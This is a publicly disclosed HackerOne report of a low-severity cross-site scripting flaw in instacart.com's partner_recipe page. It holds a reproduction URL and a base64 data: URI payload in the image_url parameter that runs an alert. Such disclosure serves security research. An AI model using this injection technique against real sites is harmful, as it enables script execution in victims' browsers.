HexBrain

Instacart · Report #227809

XSS at in instacart.com/store/partner_recipe

Validstatus
lowseverity
18upvotes
30 May 2017disclosed

Summary

An XSS was injected at instacart.com/store/partner_recipe & image_url param with this awesome payload -> data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4 :)

Thanks again to Karel Origin (https://twitter.com/Karel_Origin) for his report at https://hackerone.com/reports/196221, You made me think that more could be done, I owe you another beer :)

How it was found

Summary

Hi team, i found that this endpoint -> https://www.instacart.com/store/partner_recipe? at param image_url is vulnerable to XSS

Reproduction Steps & PoC

1)Go to https://www.instacart.com/store/partner_recipe?recipe_url=http://&partner_name=&ingredients[]=apples&ingredients[]=butter&ingredients[]=Splenda+Brown+Sugar+Blend&ingredients[]=cinnamon&ingredients[]=nutmeg&title="Barb%27s+Fried+Apples+-Diabetic-Low+Fat&description=&image_url=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4 2) Right Click on link "See Image" or open image in new window 3) You see the alert popup

{F183896} {F183895}

Vulnerable Enpoint : https://www.instacart.com/store/partner_recipe? Vulnerable Param: image_url Vulnerable Payload: data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4

Tested on Browserss: Latest Firefox & Chrome

Let me know if more info needed or anything else,

king regards, @ak1t4

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original